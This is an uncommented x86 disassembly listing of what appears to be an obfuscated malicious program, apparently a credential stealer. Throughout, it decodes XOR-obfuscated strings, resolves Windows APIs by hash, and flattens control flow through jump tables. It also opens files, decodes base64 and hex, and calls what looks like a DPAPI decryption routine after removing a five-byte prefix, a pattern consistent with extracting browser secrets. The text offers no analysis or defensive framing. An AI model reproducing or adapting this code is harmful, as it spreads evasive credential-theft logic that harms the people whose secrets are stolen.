mov word [esp + 0x64], 0x9594
mov dword [esp + 0x66], 0
mov word [esp + 0x6a], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x43
ja 0x421e30
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x28]
add ecx, 0x93018e8a
xor ecx, edx
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0xc]
add cl, 0xae
mov edx, dword [esp]
mov byte [esp + edx + 0x28], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x44
jb 0x421e00
lea ecx, [esp + 0x18]
push ecx
push esi
mov esi, dword [esp + 0x24]
push esi
push 0x1e
lea ecx, [esp + 0x38]
push ecx
push 0
call eax
lea eax, [esp + 0x20]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.0043fd00
add esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 0x24], ebx
jmp dword [eax*4 + 0x448014]
mov dword [esp + 8], ebp
mov ebp, ebx
xor ebx, ebx
jmp dword [0x4480dc]
push esi
call fcn.00409cd0
add esp, 4
mov eax, ebx
and al, 1
movzx ecx, al
jmp dword [ecx*4 + 0x4480e4]
mov byte [ebp], 0
mov dword [esp + 0x28], 0xf98483d3
mov dword [esp + 0x2c], 0x8df9f4ff
mov dword [esp + 0x30], 0x8ef2f4f3
mov dword [esp + 0x34], 0xe494ec31
mov dword [esp + 0x38], 0xf12beee3
mov dword [esp + 0x3c], 0xe7edece9
mov dword [esp + 0x40], 0x95982599
mov word [esp + 0x44], 0xf9a
mov dword [esp + 0x46], 0
mov word [esp + 0x4a], 0
mov esi, dword [esp + 0x24]
sub ebp, esi
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x23
ja 0x421f2e
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x28]
add eax, 0x80a43542
xor eax, ecx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
add al, 0xb0
mov ecx, dword [esp]
mov byte [esp + ecx + 0x28], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x24
jb 0x421f00
mov ecx, dword [esp + 0xb4]
push ebp
push esi
lea eax, [esp + 0x30]
push eax
call fcn.0040a630
mov ebx, eax
jmp dword [0x4480ec]
push esi
call fcn.00409cd0
add esp, 4
and bl, 1
mov ebp, dword [esp + 8]
test edi, edi
je 0x421f91
cmp edi, ebp
je 0x421f91
mov esi, edi
jmp 0x421f77
add esi, 8
cmp esi, ebp
je 0x421f88
mov eax, dword [esi]
test eax, eax
je 0x421f70
push eax
call fcn.00409cd0
add esp, 4
jmp 0x421f70
push edi
call fcn.00409cd0
add esp, 4
mov eax, ebx
add esp, 0xa0
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esp + 0x80], edi
lea eax, [esp + 0x90]
push 0
push eax
push dword [esp + 0x28]
call fcn.00440070
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp + 0x14], 0
mov esi, ebx
jmp dword [eax*4 + 0x44801c]
jmp dword [0x448028]
mov esi, dword [esp + 0x90]
lea eax, [esi + 1]
push eax
call fcn.00409cc0
add esp, 4
push 0
push esi
push eax
push dword [esp + 0x2c]
call fcn.00440150
add esp, 0x10
nop
nop
nop
nop
nop
nop
mov edi, dword [esp + 0x90]
lea eax, [edi + 1]
push eax
call fcn.00409cc0
add esp, 4
mov esi, eax
push 0
push edi
push eax
push dword [esp + 0x2c]
call fcn.00440150
add esp, 0x10
jmp dword [0x448030]
mov dword [esp + 0x84], esi
not eax
shr eax, 0x1f
mov dword [esp + 0x14], 0
mov esi, ebx
jmp dword [eax*4 + 0x448034]
mov edi, dword [esp + 0x90]
mov esi, dword [esp + 0x84]
mov byte [esi + edi], 0
push 0x20
call fcn.00409cc0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x9c], eax
mov ecx, eax
push edi
push esi
call fcn.00424850
movzx eax, al
mov dword [esp + 0x14], 0
mov esi, ebx
jmp dword [eax*4 + 0x44803c]
mov dword [esp + 0x28], 0x978690fb
mov dword [esp + 0x2c], 0x809686ab
mov dword [esp + 0x30], 0x879befd7
mov dword [esp + 0x34], 0xeacd9a8c
mov dword [esp + 0x38], 0x8c93968a
mov dword [esp + 0x3c], 0x8985f0c3
mov dword [esp + 0x40], 0xbfadae88
mov dword [esp + 0x44], 0xb7a9aecf
mov dword [esp + 0x48], 0x1a9
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x23
ja 0x42213e
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x28]
add eax, 0x48fa29c7
xor eax, ecx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
add al, 0x17
mov ecx, dword [esp]
mov byte [esp + ecx + 0x28], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x24
jb 0x422110
mov ecx, dword [esp + 0x9c]
lea eax, [esp + 0x28]
push eax
call fcn.00424a90
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 0x14], 0
mov esi, ebx
jmp dword [ecx*4 + 0x448044]
jmp dword [0x4480cc]
mov edi, dword [esp + 0x9c]
mov ecx, edi
call fcn.00424c00
push edi
call fcn.00409cd0
add esp, 4
jmp dword [0x4480d4]
jmp dword [0x4480d4]
push dword [esp + 0x84]
call fcn.00409cd0
add esp, 4
mov dword [esp + 8], ebp
mov ebp, esi
mov eax, dword [esp + 0x20]
mov dword [esp + 0x28], 0xd3d0d1d6
mov dword [esp + 0x2c], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 7
ja 0x422200
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x28]
add ecx, 0xb3ba1ca3
xor ecx, edx
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0xc]
add cl, 0x8a
mov edx, dword [esp]
mov byte [esp + edx + 0x28], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 8
jb 0x4221d0
mov ecx, dword [0x44ba98]
test ecx, ecx
je 0x42225b
mov edx, dword [esp + 0x28]
xor esi, esi
mov edi, dword [0x44ba9c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x422253
inc esi
cmp ecx, esi
jne 0x422220
jmp 0x42225b
push eax
push 1
push dword [0x44baa0]
push ecx
call fcn.0043dc50
add esp, 0x10
mov edi, ebp
mov ebp, ebx
mov esi, dword [esp + 0x88]
jmp dword [0x448004]
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x422288
mov edi, dword [esp + 0x80]
mov esi, dword [esp + 0x1c]
mov ebx, dword [esp + 0x14]
jmp dword [0x4480dc]
mov eax, ebx
and al, 1
movzx ecx, al
jmp dword [ecx*4 + 0x4480e4]
mov esi, dword [esp + 0x24]
jmp dword [0x4480ec]
push eax
push 1
push dword [0x44baa0]
push ecx
call fcn.0043dc50
add esp, 0x10
mov edi, dword [esp + 0x80]
mov esi, dword [esp + 0x1c]
mov ebx, dword [esp + 0x14]
jmp dword [0x4480dc]
add eax, 8
xor ebx, ebx
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
xor esi, esi
xor edi, edi
mov dword [esp + 0x1c], 0
jmp dword [eax*4 + 0x447fbc]
jmp dword [0x447fd0]
mov dword [esp + 0x14], ecx
mov ebp, dword [ecx]
mov eax, ebx
mov edx, ebx
sub edx, edi
mov ecx, dword [esp + 0x1c]
cmp ebx, ecx
mov dword [esp + 0x24], edx
jne 0x422368
mov eax, edx
sar eax, 3
inc eax
sub ecx, edi
sar ecx, 3
mov esi, ecx
shr esi, 1
add esi, ecx
cmp esi, eax
ja 0x422305
mov esi, eax
lea eax, [esi*8]
push eax
call fcn.00409cc0
add esp, 4
mov ebx, eax
test edi, edi
je 0x42235d
cmp edi, dword [esp + 0x1c]
je 0x422354
mov edx, ebx
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [edi + eax]
mov dword [edx + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [edx + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, dword [esp + 0x1c]
jne 0x422330
push edi
call fcn.00409cd0
add esp, 4
mov edi, ebx
lea ecx, [ebx + esi*8]
mov edx, dword [esp + 0x24]
add ebx, edx
mov dword [esp + 0x1c], ecx
mov dword [esp + 8], ebx
mov dword [edi + edx], 0
mov dword [edi + edx + 4], 0
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebp + esi], 0
lea esi, [esi + 1]
jne 0x422390
lea eax, [esi + ebp]
dec eax
add esi, ebp
neg esi
and esi, ebp
mov ecx, ebp
not ecx
and ecx, eax
mov dword [esp + 0x8c], ecx
sub ecx, esi
mov dword [esp + 0x98], ecx
lea ebx, [ecx + 1]
push ebx
call fcn.00409cc0
add esp, 4
mov dword [esp + 0x80], edi
mov ecx, dword [esp + 0x24]
mov dword [edi + ecx], eax
mov ecx, ebx
shr ecx, 2
mov edx, ebp
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebx
and edx, 0xfffffffc
add eax, edx
add edx, ebp
mov dword [esp + 0x7c], ebx
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov ebx, edx
mov edi, eax
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
mov ebx, dword [esp + 0x98]
test bl, 1
jne 0x422424
mov edi, dword [esp + 0x7c]
and edi, 2
movzx ecx, byte [edx + edi]
mov byte [eax + edi], cl
test ebx, ebx
je 0x4224c4
inc esi
cmp dword [esp + 0x8c], esi
mov edi, dword [esp + 8]
mov esi, dword [esp + 0x80]
jne 0x422440
mov eax, 0xffffffff
jmp 0x42247c
mov ecx, ebx
and ecx, 0xfffffffe
mov eax, 0xffffffff
nop
nop
nop
nop
nop
nop
mov edx, eax
shr edx, 8
xor al, byte [ebp]
movzx eax, al
xor edx, dword [eax*4 + 0x4435c0]
mov eax, edx
shr eax, 8
xor dl, byte [ebp + 1]
add ebp, 2
movzx edx, dl
xor eax, dword [edx*4 + 0x4435c0]
add ecx, 0xfffffffe
jne 0x422450
test bl, 1
mov edx, dword [esp + 0x24]
je 0x422499
mov ecx, eax
shr ecx, 8
xor al, byte [ebp]
movzx eax, al
xor ecx, dword [eax*4 + 0x4435c0]
mov eax, ecx
not eax
mov ebx, edi
mov dword [esi + edx + 4], eax
add ebx, 8
mov ecx, dword [esp + 0x14]
add ecx, 4
mov eax, dword [case.0x421b28.11]
jmp eax
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov edi, esi
jmp dword [eax*4 + 0x447fbc]
xor eax, eax
mov ebx, dword [esp + 8]
mov esi, dword [esp + 0x80]
mov edx, dword [esp + 0x24]
jmp 0x42249d
add eax, 8
mov edx, dword [eax]
xor eax, eax
test edx, edx
setne al
mov esi, ebx
mov dword [esp + 0x14], 0
jmp dword [eax*4 + 0x44804c]
add edx, 4
mov edx, dword [edx]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x44804c]
mov eax, dword [edx]
cmp dword [edx + 0x18], 3
mov dword [esp + 0x98], eax
jne case.default.0x422528
mov edi, dword [edx + 0x10]
test eax, eax
setne al
test edi, edi
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x448054]
test eax, eax
setne al
xor ecx, ecx
test ecx, ecx
setne cl
and cl, al
movzx eax, cl
xor edi, edi
jmp dword [eax*4 + 0x448054]
mov dword [esp + 0x7c], edx
mov dword [esp + 8], ebp
mov ecx, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
inc ecx
cmp byte [eax], 0
jne case.default.0x42259f
mov ecx, eax
not ecx
and ecx, edi
mov edx, edi
not edx
and edx, eax
sub edx, ecx
inc edx
shr edx, 1
mov dword [esp + 0x94], edx
lea eax, [edx + 1]
push eax
call fcn.00409cc0
add esp, 4
mov ebp, eax
movsx ecx, byte [edi]
xor eax, eax
test ecx, ecx
setne al
mov dword [esp + 0x88], ebp
jmp dword [eax*4 + 0x44805c]
mov byte [ebp], al
inc ebp
movsx ecx, byte [edx]
xor eax, eax
test ecx, ecx
setne al
mov edi, edx
jmp dword [eax*4 + 0x44805c]
lea edx, [edi + 1]
mov eax, ecx
not eax
or eax, 0xffffffdf
lea ebx, [ecx + eax]
add ebx, 0xffffffc0
cmp ebx, 5
ja case.default.0x4225ee
add eax, ecx
add eax, 0x21
add eax, 0xffffffa9
movsx ecx, byte [edx]
xor ebx, ebx
test ecx, ecx
setne bl
jmp dword [ebx*4 + 0x448064]
lea ebx, [ecx - 0x30]
mov eax, ecx
and eax, 0xffffffcf
add eax, eax
xor ecx, 0x30
sub eax, ecx
cmp ebx, 0xa
jb case.default.0x422623
mov eax, 0xffffffff
movsx ecx, byte [edx]
xor ebx, ebx
test ecx, ecx
setne bl
jmp dword [ebx*4 + 0x448064]
add edi, 2
mov edx, ecx
not edx
or edx, 0xffffffdf
lea ebx, [ecx + edx]
add ebx, 0xffffffc0
cmp ebx, 5
ja case.default.0x42265a
add ecx, edx
add ecx, 0x21
add ecx, 0xffffffa9
shl eax, 4
or eax, ecx
mov byte [ebp], al
inc ebp
movsx ecx, byte [edi]
xor eax, eax
test ecx, ecx
setne al
jmp dword [eax*4 + 0x44805c]
lea ebx, [ecx - 0x30]
mov edx, ecx
and edx, 0xffffffcf
add edx, edx
xor ecx, 0x30
sub edx, ecx
cmp ebx, 0xa
jb case.default.0x42269c
mov edx, 0xffffffff
shl eax, 4
or eax, edx
mov byte [ebp], al
inc ebp
movsx ecx, byte [edi]
xor eax, eax
test ecx, ecx
setne al
jmp dword [eax*4 + 0x44805c]
mov dword [esp + 0x8c], esi
mov esi, dword [esp + 0x98]
jmp dword [0x448070]
xor edi, edi
xor ebx, ebx
mov esi, dword [esp + 0x80]
cmp esi, dword [esp + 8]
setne bl
jmp dword [ebx*4 + 0x44808c]
mov edi, dword [esi]
xor ebx, ebx
jmp dword [ebx*4 + 0x44809c]
add esi, 8
xor ebx, ebx
cmp esi, dword [esp + 8]
setne bl
jmp dword [ebx*4 + 0x44808c]
mov ebx, dword [esi + 4]
mov ebp, ebx
shr ebp, 0x1c
shl ebx, 4
or ebx, 1
xor ebp, edx
xor ebx, eax
xor ecx, ecx
or ebx, ebp
sete cl
jmp dword [ecx*4 + 0x448094]
mov ebx, 1
jmp dword [ebx*4 + 0x44809c]
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x4480a4]
mov ebp, dword [esp + 8]
mov esi, dword [esp + 0x8c]
mov edx, dword [esp + 0x7c]
jmp dword [0x4480c4]
mov eax, dword [esp + 0x94]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x88]
mov dword [esp + 0x2c], eax
xor eax, eax
mov ebp, dword [esp + 8]
mov esi, dword [esp + 0x8c]
cmp byte [edi + eax], 0
lea eax, [eax + 1]
jne case.default.0x4227c3
lea ecx, [edi + eax]
dec ecx
add eax, edi
neg eax
and eax, edi
mov edx, edi
not edx
and edx, ecx
sub edx, eax
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], edi
mov dword [esp], 0
mov dword [esp + 4], 0
push 0x6c625980
push dword [0x44baa4]
call fcn.0043f320
add esp, 8
mov ecx, esp
lea edx, [esp + 0xc]
push ecx
push 1
push 0
push 0
push edx
push 0
lea ecx, [esp + 0x40]
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x4480ac]
mov edx, dword [esp + 0x7c]
jmp dword [0x4480c4]
jmp dword [0x4480b8]
movzx ecx, byte [edi]
mov eax, esi
test cl, cl
je 0x4227fb
lea edx, [edi + 1]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x4227f0
mov word [eax], 0x203a
add eax, 2
mov ebx, dword [esp]
test ebx, ebx
je 0x422841
mov ecx, dword [esp + 4]
mov ebp, ebx
and ebp, 3
je 0x422845
mov dword [esp + 0x14], ebx
xor ebx, ebx
nop
nop
nop
nop
nop
movzx edx, byte [ecx]
cmp dl, 1
sbb ecx, 0xffffffff
mov byte [eax + ebx], dl
inc ebx
cmp ebp, ebx
jne 0x422820
add eax, ebx
mov ebp, dword [esp + 0x14]
mov edx, ebp
sub edx, ebx
mov ebx, ebp
mov ebp, eax
jmp 0x422847
mov ebp, eax
jmp 0x422889
mov edx, ebx
cmp ebx, 4
jb 0x422889
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea ebp, [eax + 4]
mov byte [eax + 3], bl
mov eax, ebp
add edx, 0xfffffffc
jne 0x422850
mov byte [ebp], 0xa
push 0xe050b307
push dword [0x44ba8c]
call fcn.0043f320
add esp, 8
push dword [esp + 4]
call eax
mov ecx, dword [esp + 8]
jmp dword [0x4480bc]
inc ebp
mov al, 1
mov dword [esp + 0x14], eax
mov esi, ebp
mov ebp, ecx
mov edx, dword [esp + 0x7c]
jmp dword [0x4480c4]
push dword [esp + 0x88]
call fcn.00409cd0
mov edx, dword [esp + 0x80]
add esp, 4
add edx, 4
mov edx, dword [edx]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x44804c]
movzx ecx, byte [edi]
mov eax, esi
test cl, cl
je 0x42290b
lea edx, [edi + 1]
mov eax, esi
nop
nop
nop
nop
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x422900
mov word [eax], 0x203a
add eax, 2
mov esi, dword [esp]
test esi, esi
je 0x42294b
mov ecx, dword [esp + 4]
mov edx, esi
and edx, 3
je 0x42294f
xor ebp, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + ebp], bl
inc ebp
cmp edx, ebp
jne 0x422930
add eax, ebp
mov edx, esi
sub edx, ebp
mov ebp, eax
jmp 0x422951
mov ebp, eax
jmp 0x422999
mov edx, esi
cmp esi, 4
jb 0x422999
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea ebp, [eax + 4]
mov byte [eax + 3], bl
mov eax, ebp
add edx, 0xfffffffc
jne 0x422960
mov byte [ebp], 0xa
push 0xe050b307
push dword [0x44ba8c]
call fcn.0043f320
add esp, 8
push dword [esp + 4]
call eax
mov esi, dword [esp + 0x8c]
jmp case.0x422160.29
mov byte [ebp], 0
push 0
push 0x10
push 0
push esi
call fcn.00424ca0
add esp, 0x10
mov byte [ebp], 0
push 0
push 0x10
push 0
push esi
call fcn.00424ca0
add esp, 0x10
jmp dword [0x448078]
jmp dword [0x44810c]
push dword [esp + 0x58]
call fcn.00409cd0
add esp, 4
mov eax, dword [esp + 0x78]
and al, 1
add esp, 0xe8
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, dword [esp + 0xb4]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x4480f4]
mov dword [esp + 0xb4], ecx
mov ebp, dword [esp + ecx + 0x8c]
mov eax, 0xfffffffe
nop
nop
nop
nop
cmp word [ebp + eax + 2], 0
lea eax, [eax + 2]
jne 0x422e10
mov dword [esp + 0xa4], eax
mov esi, eax
sar esi, 1
mov eax, dword [esp + 0x88]
lea ecx, [esi + eax]
lea edx, [esi + eax]
add edx, 0xd
lea eax, [ecx*2 + 0x1a]
test edx, edx
jns 0x422e46
mov eax, 0xffffffff
push eax
call fcn.00409cc0
add esp, 4
mov edi, eax
mov eax, dword [esp + 0x58]
movzx ecx, word [eax]
mov eax, edi
test cx, cx
je 0x422e81
mov edx, dword [esp + 0x9c]
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x422e70
mov word [eax], 0x5c
mov dword [esp + 0x14], 0x2c932e85
mov dword [esp + 0x18], 0x208422be
mov dword [esp + 0x1c], 0x24bb2680
mov dword [esp + 0x20], 0x18ac1ac5
mov dword [esp + 0x24], 0x1cbe1e8d
mov dword [esp + 0x28], 0x10b61289
mov dword [esp + 0x2c], 0x1611
add eax, 2
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x1b
ja 0x422f00
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x14]
add ecx, 0xd1268e53
xor ecx, edx
mov dword [esp + 0x4c], ecx
mov ecx, dword [esp + 0x4c]
add cl, 0x86
mov edx, dword [esp]
mov byte [esp + edx + 0x14], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x1c
jb 0x422ed0
movzx ecx, word [ebp]
test cx, cx
je 0x422f21
lea edx, [ebp + 2]
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x422f10
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x422f51
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x422f40
mov dword [esp + 0xa0], esi
mov word [eax], 0
lea eax, [esp + 0x84]
push 0x60
push 3
push 0x120089
push eax
mov dword [esp + 0xc0], edi
push edi
call fcn.0043fd00
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448114]
xor ebx, ebx
jmp dword [0x448184]
push dword [esp + 0xb0]
call fcn.00409cd0
add esp, 4
movzx eax, bl
jmp dword [eax*4 + 0x44818c]
lea eax, [esp + 0xa8]
push 0
push eax
push dword [esp + 0x8c]
call fcn.00440070
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x44811c]
mov esi, dword [esp + 0xa8]
lea eax, [esi + 1]
push eax
call fcn.00409cc0
add esp, 4
push 0
push esi
mov dword [esp + 0xa0], eax
push eax
push dword [esp + 0x90]
call fcn.00440150
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x448124]
mov eax, dword [esp + 0xa8]
mov ecx, dword [esp + 0x98]
mov byte [ecx + eax], 0
push ecx
call fcn.00402a00
add esp, 4
xor ecx, ecx
mov dword [esp + 0x7c], eax
test eax, eax
setne cl
xor ebx, ebx
mov dword [esp + 0xb8], ebp
jmp dword [ecx*4 + 0x44812c]
jmp dword [0x448138]
push dword [esp + 0x7c]
call fcn.004034b0
add esp, 4
mov dword [esp + 0x14], 0x414c535e
mov dword [esp + 0x18], 0x5459ad55
mov dword [esp + 0x1c], 0x59475d05
mov dword [esp + 0x20], 0x4c41b54d
mov dword [esp + 0x24], 0x495c5254
mov word [esp + 0x28], 0xbd50
mov byte [esp + 0x2a], 0x39
mov dword [esp + 0x2b], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x1a
ja 0x4230e0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x14]
add ecx, 0x3e624028
xor ecx, edx
mov dword [esp + 0x4c], ecx
mov ecx, dword [esp + 0x4c]
add cl, 0xf9
mov edx, dword [esp]
mov byte [esp + edx + 0x14], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x1b
jb 0x4230b0
lea ecx, [esp + 0x14]
push ecx
push eax
call fcn.00403870
add esp, 8
mov edx, eax
mov edi, eax
neg edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
dec edi
cmp byte [eax], 0
lea eax, [eax + 1]
jne 0x423100
mov eax, edi
not eax
and edi, edx
mov esi, edx
not esi
and esi, eax
mov dword [esp + 0xc], esi
sub esi, edi
mov eax, esi
and eax, 3
mov ebx, esi
or ebx, 3
imul ebx, eax
xor eax, 3
mov ecx, esi
and ecx, 0xfffffffc
imul ecx, eax
add ebx, ecx
mov ecx, ebx
shr ecx, 2
mov dword [esp + 0x48], edx
movzx eax, byte [edx + esi - 1]
cmp eax, 0x3d
je 0x42314d
cmp eax, 0x2e
jne 0x42314e
dec ecx
mov eax, dword [esp + 0x48]
movzx eax, byte [eax + esi - 2]
cmp eax, 0x3d
mov dword [esp + 0x54], esi
je 0x423165
cmp eax, 0x2e
jne 0x423166
dec ecx
mov esi, dword [esp + 0xc]
mov dword [esp + 0xac], ecx
lea eax, [ecx + 1]
push eax
call fcn.00409cc0
add esp, 4
mov dword [esp + 0x10], eax
cmp esi, edi
mov esi, dword [esp + 0x54]
jne 0x423aca
mov eax, dword [esp + 0xac]
add eax, 0xfffffffb
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0x10]
add eax, 5
mov dword [esp + 0x50], eax
mov dword [esp], 0
mov dword [esp + 4], 0
push 0x6c625980
push dword [0x44baa4]
call fcn.0043f320
add esp, 8
mov ecx, esp
lea edx, [esp + 0x4c]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
jmp case.0x4216e0.133
mov eax, dword [esp + 0x80]
add eax, 0xfffffffb
mov dword [esp + 0x4c], eax
mov edi, dword [esp + 0x10]
mov eax, edi
add eax, 5
mov dword [esp + 0x50], eax
mov dword [esp], 0
mov dword [esp + 4], 0
push 0x6c625980
push dword [0x44baa4]
call fcn.0043f320
add esp, 8
mov ecx, esp
lea edx, [esp + 0x4c]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
mov ebp, dword [esp + 0xb8]
jmp dword [0x448140]
push dword [esp + 0x7c]
call fcn.004034b0
add esp, 4
mov dword [esp + 0x14], 0x414c535e
mov dword [esp + 0x18], 0x5459ad55
mov dword [esp + 0x1c], 0x59475d05
mov dword [esp + 0x20], 0x4c41b54d
mov dword [esp + 0x24], 0x495c5254
mov word [esp + 0x28], 0xbd50
mov byte [esp + 0x2a], 0x39
mov dword [esp + 0x2b], 0
mov dword [esp + 8], 0
mov ecx, dword [esp + 8]
cmp ecx, 0x1a
ja 0x4232d5
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 8]
mov edx, dword [esp + 8]
movzx edx, byte [esp + edx + 0x14]
add ecx, 0x3e624028
xor ecx, edx
mov dword [esp + 0x5c], ecx
mov ecx, dword [esp + 0x5c]
add cl, 0xf9
mov edx, dword [esp + 8]
mov byte [esp + edx + 0x14], cl
inc dword [esp + 8]
mov ecx, dword [esp + 8]
cmp ecx, 0x1b
jb 0x4232a0
lea ecx, [esp + 0x14]
push ecx
push eax
call fcn.00403870
add esp, 8
mov ebp, eax
mov ebx, eax
neg ebx
nop
nop
nop
nop
nop
nop
nop
dec ebx
cmp byte [eax], 0
lea eax, [eax + 1]
jne 0x4232f0
mov eax, ebx
not eax
and ebx, ebp
mov esi, ebp
not esi
and esi, eax
mov edx, esi
sub edx, ebx
mov eax, edx
and eax, 3
mov edi, edx
or edi, 3
imul edi, eax
xor eax, 3
mov ecx, edx
and ecx, 0xfffffffc
imul ecx, eax
add edi, ecx
mov ecx, edi
shr ecx, 2
mov dword [esp + 0x48], ebp
movzx eax, byte [ebp + edx - 1]
cmp eax, 0x3d
je 0x42333b
cmp eax, 0x2e
jne 0x42333c
dec ecx
mov eax, dword [esp + 0x48]
movzx eax, byte [eax + edx - 2]
cmp eax, 0x3d
je 0x42334f
cmp eax, 0x2e
jne 0x423360
mov edi, edx
dec ecx
jmp 0x423362
mov edi, edx
mov dword [esp + 0x80], ecx
lea eax, [ecx + 1]
push eax
call fcn.00409cc0
add esp, 4
mov dword [esp + 0x10], eax
cmp esi, ebx
mov esi, dword [esp + 0x48]
je 0x4231e0
mov ecx, edi
xor edi, edi
mov ebp, 2
mov dword [esp + 0xc], ecx
jmp 0x4233ba
mov edi, esi
lea eax, [ebp + 4]
add ebp, 2
mov ecx, dword [esp + 0xc]
cmp ebp, ecx
mov ebp, eax
mov esi, dword [esp + 0x48]
jae 0x4231e0
movzx eax, byte [esi + ebp - 2]
push eax
call fcn.004161d0
add esp, 4
mov bh, al
movzx eax, byte [esi + ebp - 1]
push eax
call fcn.004161d0
add esp, 4
mov bl, al
shl bh, 2
shr al, 4
and al, 3
or al, bh
mov edx, esi
lea esi, [edi + 1]
mov ecx, dword [esp + 0x10]
mov byte [ecx + edi], al
cmp ebp, dword [esp + 0xc]
jae 0x4233a0
mov dword [esp + 0x54], edi
movzx eax, byte [edx + ebp]
push eax
call fcn.004161d0
add esp, 4
cmp al, 0x40
mov edi, esi
je 0x4233a2
shl bl, 4
mov ecx, eax
shr cl, 2
